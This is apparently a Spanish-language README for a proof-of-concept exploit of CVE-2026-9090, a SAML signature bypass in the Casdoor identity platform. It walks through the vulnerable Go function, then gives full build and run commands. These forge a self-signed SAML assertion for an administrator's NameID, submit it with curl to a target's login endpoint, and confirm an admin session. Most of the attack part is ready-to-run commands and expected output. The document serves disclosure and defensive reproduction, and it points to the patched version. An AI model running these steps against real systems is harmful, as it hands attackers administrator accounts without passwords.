
PoC para CVE-2026-9090 — Bypass de firma SAML de Casdoor (CWE-347). Solo reproducción; coordinado mediante CERT/CC VU#780781.
Prueba de concepto para CVE-2026-9090 (CWE-347, Verificación incorrecta de la firma criptográfica), un bypass de autenticación en la plataforma de identidad Casdoor.
Atribución. CVE-2026-9090 fue publicado y coordinado por CERT/CC — ver VU#780781. Este repositorio es una prueba de concepto independiente, solo de reproducción para la vulnerabilidad ya pública; no reivindica el descubrimiento del problema.
Cuando Casdoor consume una respuesta SAML en POST /api/acs (inicio de sesión a través de un proveedor SAML externo), la
función buildSpCertificateStore construye el ancla de confianza de la firma a partir del <X509Certificate> incrustado
en la propia respuesta SAML entrante, en lugar del certificado registrado para el proveedor de identidad.
// object/saml_sp.go (vulnerable, <= v2.362.0)
func buildSpCertificateStore(provider *Provider, samlResponse string) (certStore ..., err error) {
certEncodedData := ""
if samlResponse != "" {
certEncodedData, err = getCertificateFromSamlResponse(samlResponse, provider.Type) // <-- cert de la respuesta
} else if provider.IdP != "" {
certEncodedData = provider.IdP
}
...
certStore = dsig.MemoryX509CertificateStore{ Roots: []*x509.Certificate{idpCert} }
}
Debido a que el ancla de confianza se toma de la respuesta, un atacante puede firmar una aserción SAML con su propio
certificado autofirmado, incluir ese certificado en la respuesta, y la firma se valida contra sí misma.
Establecer el NameID a un usuario existente resuelve a esa cuenta — si es un administrador, el atacante
obtiene una sesión de administrador. No hay contraseña de por medio.
<= 2.362.0provider.IdP registrado
(buildSpCertificateStore(provider *Provider) ya no lee la respuesta). Actualice a una versión reciente.forge_saml.go construye una Respuesta SAML completa cuya Assertion está firmada por una clave autofirmada desechable,
con el certificado de esa clave incrustado en <ds:KeyInfo><ds:X509Certificate>. Usa la misma
biblioteca goxmldsig que usa Casdoor, por lo que la canonicalización y el formato de firma se aceptan tal cual.
go mod init cve-2026-9090-poc # o: ejecute go build directamente en este repositorio
go get github.com/beevik/etree github.com/russellhaering/goxmldsig
go build -o forge_saml forge_saml.go
# 1) forje una respuesta para un NameID existente (de administrador), dirigida a la URL ACS del objetivo
./forge_saml \
--nameid [email protected] \
--acs http://TARGET:8000/api/acs \
--audience http://TARGET:8000/api/acs \
> forged.b64
# 2) envíela. NOTA: Casdoor desescapa la URL del SAMLResponse antes de decodificar en base64, por lo que el valor DEBE estar
# codificado en URL (un '+' sin codificar se convertiría en un espacio -> "illegal base64 data").
ENC=$(python3 -c 'import urllib.parse;print(urllib.parse.quote(open("forged.b64").read().strip()))')
curl -s -c cookie.txt \
"http://TARGET:8000/api/login?application=APP&organization=ORG&provider=SAML_PROVIDER&method=signup" \
-H 'Content-Type: application/json' \
-d "{\"application\":\"APP\",\"organization\":\"ORG\",\"provider\":\"SAML_PROVIDER\",\"method\":\"signup\",\"type\":\"login\",\"samlResponse\":\"$ENC\"}"
# -> {"status":"ok","data":"ORG/admin"}
# 3) confirme la sesión
curl -s -b cookie.txt http://TARGET:8000/api/get-account | jq '.data | {name,isAdmin,owner}'
APP, ORG y SAML_PROVIDER son el nombre de la aplicación, la organización y el proveedor SAML vinculado a
esa aplicación. El registro de una aplicación de Casdoor (incluidos sus proveedores vinculados) es legible en
/api/get-application?id=admin/<name>.
Este PoC se publica para una vulnerabilidad corregida y divulgada públicamente, para pruebas defensivas, ingeniería
de detección e investigación. Ejecútelo únicamente contra sistemas que esté autorizado a probar. La remediación correcta
es actualizar Casdoor a una versión donde buildSpCertificateStore valide contra el certificado del proveedor registrado.
MIT — ver LICENSE.